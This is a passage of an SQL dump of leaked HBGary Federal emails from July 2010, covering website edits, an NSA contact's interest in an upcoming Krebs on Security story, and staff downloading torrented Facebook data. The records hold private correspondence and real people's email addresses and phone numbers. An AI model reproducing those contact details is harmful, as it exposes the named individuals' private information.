Aaron barr wrote:\r\n>>>>> I want it to blink\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n>>>>>\r\n>>>>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>>>>>\r\n>>>>>> So then you want the social media link bolder?\r\n>>>>>>\r\n>>>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>>>> But highlight more the social media one.\r\n>>>>>>>\r\n>>>>>>> Tks\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> Sent from my iPad\r\n',3706,'aaron_hbgary_com/3706.html'),(9359,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007194.M365647P14101Q4214.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: This one too','They should have u fix that shit up.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 7:27 PM, Mark Trynor  wrote:\r\n\r\n> I\'ve pushed them to the federal side and adding the links now.  The\r\n> other side will have to wait \'til Mon cuz their stuffs all screwy bow\r\n> jangles.\r\n> \r\n> On 07/30/2010 08:21 PM, Aaron Barr wrote:\r\n>> Righteous\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 30, 2010, at 7:20 PM, Mark Trynor  wrote:\r\n>> \r\n>>> I\'ll give it it\'s own dedicated domain name\r\n>>> \r\n>>> On 07/30/2010 08:19 PM, Aaron barr wrote:\r\n>>>> I knew you could.  Blink and scroll.  Maybe put it in an animated gif.\r\n>>>> \r\n>>>> Sent from my iPad\r\n>>>> \r\n>>>> On Jul 30, 2010, at 7:15 PM, Mark Trynor  wrote:\r\n>>>> \r\n>>>>> That I can do.\r\n>>>>> \r\n>>>>> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>>>>>> I want it to blink\r\n>>>>>> \r\n>>>>>> Sent from my iPad\r\n>>>>>> \r\n>>>>>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>>>>>> \r\n>>>>>>> So then you want the social media link bolder?\r\n>>>>>>> \r\n>>>>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>>>>> But highlight more the social media one.\r\n>>>>>>>> \r\n>>>>>>>> Tks\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> Sent from my iPad\r\n',8500,'aaron_hbgary_com/8500.html'),(9360,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007194.M572511P14101Q4215.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: This one too','I plan to.  Right after I get done rewriting this TMC stuff, then the\r\nActiveDefense rewrite, the hbgaryfederal site, the rootkit.com complete\r\noverhaul, then the hbgary.com site.  Plus the pen testing at the LANL\r\nand some thing else I\'m not remembering right now ... but I plan to :)\r\n\r\nOn 07/30/2010 08:36 PM, Aaron Barr wrote:\r\n> They should have u fix that shit up.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 30, 2010, at 7:27 PM, Mark Trynor  wrote:\r\n> \r\n>> I\'ve pushed them to the federal side and adding the links now.  The\r\n>> other side will have to wait \'til Mon cuz their stuffs all screwy bow\r\n>> jangles.\r\n>>\r\n>> On 07/30/2010 08:21 PM, Aaron Barr wrote:\r\n>>> Righteous\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Jul 30, 2010, at 7:20 PM, Mark Trynor  wrote:\r\n>>>\r\n>>>> I\'ll give it it\'s own dedicated domain name\r\n>>>>\r\n>>>> On 07/30/2010 08:19 PM, Aaron barr wrote:\r\n>>>>> I knew you could.  Blink and scroll.  Maybe put it in an animated gif.\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n>>>>>\r\n>>>>> On Jul 30, 2010, at 7:15 PM, Mark Trynor  wrote:\r\n>>>>>\r\n>>>>>> That I can do.\r\n>>>>>>\r\n>>>>>> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>>>>>>> I want it to blink\r\n>>>>>>>\r\n>>>>>>> Sent from my iPad\r\n>>>>>>>\r\n>>>>>>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>>>>>>>\r\n>>>>>>>> So then you want the social media link bolder?\r\n>>>>>>>>\r\n>>>>>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>>>>>> But highlight more the social media one.\r\n>>>>>>>>>\r\n>>>>>>>>> Tks\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> Sent from my iPad\r\n',6292,'aaron_hbgary_com/6292.html'),(9361,'2010-07-31','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','/aaron@hbgary.com/new/1297007194.M827315P14101Q4216.eml','aaron@hbgary.com','Re: Number','I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n--------------------------\r\nSent using BlackBerry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Peace, Cheryl D\r\nSent: Fri Jul 30 20:02:44 2010\r\nSubject: Number\r\n\r\nCheryl,\r\n\r\nSorry to bother you but do you have a minute to talk.  I don\'t have\r\nyour number handy.  It will only take moment, but I have some\r\ninformation for you.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n7195108478\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',7470,'aaron_hbgary_com/7470.html'),(9362,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007195.M262020P14101Q4218.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: This one too','https://www.hbgary.com/federal/hbgary-federal-data-sheet/  working the\r\nother one....or trying to anyway\r\n\r\nOn 07/30/2010 08:14 PM, Aaron barr wrote:\r\n> I want it to blink\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n> \r\n>> So then you want the social media link bolder?\r\n>>\r\n>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>> But highlight more the social media one.\r\n>>>\r\n>>> Tks\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n',14463,'aaron_hbgary_com/14463.html'),(9363,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007195.M47291P14101Q4217.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: This one too','There up here :\r\nhttp://lab.hbgaryfederal.com/pages/subpages/socialMedia.php and here :\r\nhttp://lab.hbgaryfederal.com/pages/subpages/federalDataSheet.php\r\n\r\nOn 07/30/2010 08:14 PM, Aaron barr wrote:\r\n> I want it to blink\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n> \r\n>> So then you want the social media link bolder?\r\n>>\r\n>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>> But highlight more the social media one.\r\n>>>\r\n>>> Tks\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n',14379,'aaron_hbgary_com/14379.html'),(9364,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007195.M494165P14101Q4219.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: This one too','Alright got it.  The Social Media is on the main page left column.\r\n\r\nOn 07/30/2010 08:14 PM, Aaron barr wrote:\r\n> I want it to blink\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n> \r\n>> So then you want the social media link bolder?\r\n>>\r\n>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>> But highlight more the social media one.\r\n>>>\r\n>>> Tks\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n',14714,'aaron_hbgary_com/14714.html'),(9365,'2010-07-31','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297007195.M736304P14101Q4220.eml','aaron@hbgary.com,\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','','\r\n',11433,'aaron_hbgary_com/11433.html'),(9366,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007195.M931294P14101Q4221.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Fri Jul 30 20:02:44 2010\r\n> Subject: Number\r\n> \r\n> Cheryl,\r\n> \r\n> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n> your number handy.  It will only take moment, but I have some\r\n> information for you.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal\r\n> 7195108478\r\n> \r\n> -- \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n',11781,'aaron_hbgary_com/11781.html'),(9367,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007196.M162019P14101Q4222.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: This one too','Thanks mark\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 9:03 PM, Mark Trynor  wrote:\r\n\r\n> Alright got it.  The Social Media is on the main page left column.\r\n> \r\n> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>> I want it to blink\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>> \r\n>>> So then you want the social media link bolder?\r\n>>> \r\n>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>> But highlight more the social media one.\r\n>>>> \r\n>>>> Tks\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Sent from my iPad\r\n',1051,'aaron_hbgary_com/1051.html'),(9368,'2010-07-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007196.M377152P14101Q4223.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark@hbgary.com','Re: This one too','Why can\'t my iPhone check my calendar and send calls to gmail when I\'m\r\n\"busy\" and ring through when I\'m not? Should be doable - turn that\r\nfeature on during business hours.\r\n\r\nOn Jul 30, 2010, at 11:36 PM, Aaron Barr  wrote:\r\n\r\n> Thanks mark\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Jul 30, 2010, at 9:03 PM, Mark Trynor  wrote:\r\n>\r\n>> Alright got it.  The Social Media is on the main page left column.\r\n>>\r\n>> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>>> I want it to blink\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>>>\r\n>>>> So then you want the social media link bolder?\r\n>>>>\r\n>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>> But highlight more the social media one.\r\n>>>>>\r\n>>>>> Tks\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n',1868,'aaron_hbgary_com/1868.html'),(9369,'2010-07-31','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','/aaron@hbgary.com/new/1297007196.M586484P14101Q4224.eml','aaron@hbgary.com','Re: Number','R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\nThanks for the heads up!\r\n--------------------------\r\nSent using BlackBerry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Peace, Cheryl D\r\nSent: Sat Jul 31 01:07:23 2010\r\nSubject: Re: Number\r\n\r\nSorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Fri Jul 30 20:02:44 2010\r\n> Subject: Number\r\n> \r\n> Cheryl,\r\n> \r\n> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n> your number handy.  It will only take moment, but I have some\r\n> information for you.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal\r\n> 7195108478\r\n> \r\n> -- \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n',3138,'aaron_hbgary_com/3138.html'),(9370,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007196.M926589P14101Q4225.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Number','Can u get an advanced copy?Sent from my iPhoneBegin forwarded message:From: \"Peace, Cheryl D\" &lt;cdpeace@nsa.gov&gt;Date: July 30, 2010 11:02:35 PM PDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: NumberR u going to get an advance copy? &nbsp;When will it be published and can I get a copy? &nbsp;&nbsp;If not, when can u get and send me a copy?Thanks for the heads up!--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Peace, Cheryl DSent: Sat Jul 31 01:07:23 2010Subject: Re: NumberSorry missed this. &nbsp;I got wind that Krebs on security is going to publish a story.AaronSent from my iPhoneOn Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\" &lt;cdpeace@nsa.gov&gt; wrote:I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Peace, Cheryl DSent: Fri Jul 30 20:02:44 2010Subject: NumberCheryl,Sorry to bother you but do you have a minute to talk. &nbsp;I don\'t haveyour number handy. &nbsp;It will only take moment, but I have someinformation for you.Aaron BarrCEOHBGary Federal7195108478-- Aaron BarrCEOHBGary Federal Inc.719.510.8478',12029,'aaron_hbgary_com/12029.html'),(9371,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007197.M377796P14101Q4226.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','I think so.  I will let u know.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 11:02 PM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\n> Thanks for the heads up!\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Sat Jul 31 01:07:23 2010\r\n> Subject: Re: Number\r\n> \r\n> Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n> \r\n>> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Fri Jul 30 20:02:44 2010\r\n>> Subject: Number\r\n>> \r\n>> Cheryl,\r\n>> \r\n>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>> your number handy.  It will only take moment, but I have some\r\n>> information for you.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal\r\n>> 7195108478\r\n>> \r\n>> -- \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n',910,'aaron_hbgary_com/910.html'),(9372,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007197.M681601P14101Q4227.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Number','Sent from my iPhoneBegin forwarded message:From: \"Peace, Cheryl D\" &lt;cdpeace@nsa.gov&gt;Date: July 30, 2010 11:02:35 PM PDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: NumberR u going to get an advance copy? &nbsp;When will it be published and can I get a copy? &nbsp;&nbsp;If not, when can u get and send me a copy?Thanks for the heads up!--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Peace, Cheryl DSent: Sat Jul 31 01:07:23 2010Subject: Re: NumberSorry missed this. &nbsp;I got wind that Krebs on security is going to publish a story.AaronSent from my iPhoneOn Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\" &lt;cdpeace@nsa.gov&gt; wrote:I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Peace, Cheryl DSent: Fri Jul 30 20:02:44 2010Subject: NumberCheryl,Sorry to bother you but do you have a minute to talk. &nbsp;I don\'t haveyour number handy. &nbsp;It will only take moment, but I have someinformation for you.Aaron BarrCEOHBGary Federal7195108478-- Aaron BarrCEOHBGary Federal Inc.719.510.8478',8035,'aaron_hbgary_com/8035.html'),(9373,'2010-07-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007197.M909622P14101Q4228.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Number','I sense a disturbance in the force. On Jul 31, 2010, at 12:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: &quot;Peace, Cheryl D&quot; &lt;cdpeace@nsa.gov&gt;\r\nDate: July 30, 2010 11:02:35 PM PDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Number\r\nR u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?Thanks for the heads up!\r\n--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Peace, Cheryl DSent: Sat Jul 31 01:07:23 2010Subject: Re: NumberSorry missed this.  I got wind that Krebs on security is going to publish a story.\r\nAaronSent from my iPhoneOn Jul 30, 2010, at 7:41 PM, &quot;Peace, Cheryl D&quot; &lt;cdpeace@nsa.gov&gt; wrote:\r\nI am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few--------------------------\r\nSent using BlackBerry----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Peace, Cheryl D\r\nSent: Fri Jul 30 20:02:44 2010Subject: Number\r\nCheryl,Sorry to bother you but do you have a minute to talk.  I don&#39;t have\r\nyour number handy.  It will only take moment, but I have someinformation for you.\r\nAaron BarrCEOHBGary Federal7195108478\r\n-- Aaron BarrCEO\r\nHBGary Federal Inc.719.510.8478\r\n',4543,'aaron_hbgary_com/4543.html'),(9374,'2010-07-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007198.M234249P14101Q4229.eml','\"Aaron Barr\" <aaron@hbgary.com>,engineering@hbgary.com,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Linux','http://mirror.hamakor.org.il/archives/linux-il/att-15326/51303251.jpg\r\n',1059,'aaron_hbgary_com/1059.html'),(9375,'2010-07-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007198.M475676P14101Q4230.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Number','He\'s a journalist.  You can\'t get stuff like that.  I don\'t think it\r\nwould be wise to ask either.\r\n\r\n-Greg\r\n\r\n\r\nOn Friday, July 30, 2010, Aaron Barr  wrote:\r\n> Can u get an advanced copy?\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: \"Peace, Cheryl D\" \r\n> Date: July 30, 2010 11:02:35 PM PDT\r\n> To: \r\n> Subject: Re: Number\r\n>\r\n> R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\n> Thanks for the heads up!\r\n> --------------------------\r\n> Sent using BlackBerry\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Sat Jul 31 01:07:23 2010\r\n> Subject: Re: Number\r\n>\r\n> Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n>\r\n> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n> --------------------------\r\n> Sent using BlackBerry\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Fri Jul 30 20:02:44 2010\r\n> Subject: Number\r\n>\r\n> Cheryl,\r\n>\r\n> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n> your number handy.  It will only take moment, but I have some\r\n> information for you.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal\r\n> 7195108478\r\n>\r\n> --\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n>\r\n',11038,'aaron_hbgary_com/11038.html'),(9376,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007198.M708533P14101Q4231.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Number','Ok.  Not a group I have dealt with much.  He just posted\r\nSomething it makes\r\nA statement but not terribly aggressive.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 11:37 PM, Greg Hoglund  wrote:\r\n\r\n> He\'s a journalist.  You can\'t get stuff like that.  I don\'t think it\r\n> would be wise to ask either.\r\n> \r\n> -Greg\r\n> \r\n> \r\n> On Friday, July 30, 2010, Aaron Barr  wrote:\r\n>> Can u get an advanced copy?\r\n>> \r\n>> Sent from my iPhone\r\n>> Begin forwarded message:\r\n>> \r\n>> From: \"Peace, Cheryl D\" \r\n>> Date: July 30, 2010 11:02:35 PM PDT\r\n>> To: \r\n>> Subject: Re: Number\r\n>> \r\n>> R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\n>> Thanks for the heads up!\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Sat Jul 31 01:07:23 2010\r\n>> Subject: Re: Number\r\n>> \r\n>> Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n>> \r\n>> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Fri Jul 30 20:02:44 2010\r\n>> Subject: Number\r\n>> \r\n>> Cheryl,\r\n>> \r\n>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>> your number handy.  It will only take moment, but I have some\r\n>> information for you.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal\r\n>> 7195108478\r\n>> \r\n>> --\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n>> \r\n',9878,'aaron_hbgary_com/9878.html'),(9377,'2010-07-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007199.M2248P14101Q4232.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Linux','Greg,\r\n\r\nWhere did you find Mark\'s High School prom photo, he took it off of\r\nfacebook months ago...\r\n\r\nTv\r\n\r\nOn Jul 31, 2010, at 12:34 AM, Greg Hoglund  wrote:\r\n\r\n> http://mirror.hamakor.org.il/archives/linux-il/att-15326/51303251.jpg\r\n',10397,'aaron_hbgary_com/10397.html'),(9378,'2010-07-29','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297007199.M259380P14101Q4233.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Brian Christos  cell 703-300-1597- Greg Hoglund Dinner Meeting Penny cell phone 408-316-8002','July 28, 2010 9:00 PM : Brian Christos&nbsp; cell 703-300-1597- Greg Hoglund Dinner Meeting Penny cell phone 408-316-8002&nbsp; \r\n',10062,'aaron_hbgary_com/10062.html'),(9379,'2010-07-31','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007199.M654604P14101Q4234.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Slashdot Your Rights Online Story | Who Is Downloading the Torrented Facebook Files?','http://yro.slashdot.org/story/10/07/31/137217/Who-Is-Downloading-the-Torrented-Facebook-Files?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\nWe should DL this too\r\n\r\n\r\n\r\n',10784,'aaron_hbgary_com/10784.html'),(9380,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007200.M279476P14101Q4236.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Linux','I force reboot my machine at least once a day even though it doesn\'t\r\nneed it.  Draw your own conclusions.\r\n\r\nOn 07/31/2010 12:46 AM, Ted Vera wrote:\r\n> Greg,\r\n> \r\n> Where did you find Mark\'s High School prom photo, he took it off of\r\n> facebook months ago...\r\n> \r\n> Tv\r\n> \r\n> On Jul 31, 2010, at 12:34 AM, Greg Hoglund  wrote:\r\n> \r\n>> http://mirror.hamakor.org.il/archives/linux-il/att-15326/51303251.jpg\r\n',4254,'aaron_hbgary_com/4254.html'),(9381,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007200.M5240P14101Q4235.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Slashdot Your Rights Online Story | Who Is Downloading the Torrented Facebook Files?','I am going to try and grab it today.  Mark can you get it?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 31, 2010, at 12:15 PM, Ted Vera  wrote:\r\n\r\n> http://yro.slashdot.org/story/10/07/31/137217/Who-Is-Downloading-the-Torrented-Facebook-Files?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n> \r\n> We should DL this too\r\n> \r\n> \r\n> \r\n',10664,'aaron_hbgary_com/10664.html'),(9382,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007200.M739530P14101Q4237.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Slashdot Your Rights Online Story | Who Is Downloading the Torrented Facebook Files?','Already coming down.\r\n\r\nOn 07/31/2010 10:30 AM, Aaron Barr wrote:\r\n> I am going to try and grab it today.  Mark can you get it?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 31, 2010, at 12:15 PM, Ted Vera  wrote:\r\n> \r\n>> http://yro.slashdot.org/story/10/07/31/137217/Who-Is-Downloading-the-Torrented-Facebook-Files?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n>>\r\n>> We should DL this too\r\n>>\r\n>>\r\n>>\r\n',13159,'aaron_hbgary_com/13159.html'),(9383,'2010-07-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007207.M311769P14101Q4238.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,rich@hbgary.com','Can you give any feedback on this draft?',' \r\nAttached is a rough draft for a presentation I am to give next week.  Any contributions would be appreciated, as I don&#39;t know the hospital domain very much, and not really sure how the government would respond to this type of event.\r\n\r\n \r\n-Greg\r\n',645,'aaron_hbgary_com/645.html'),(9384,'2010-07-31','\"Mark Trynor\" 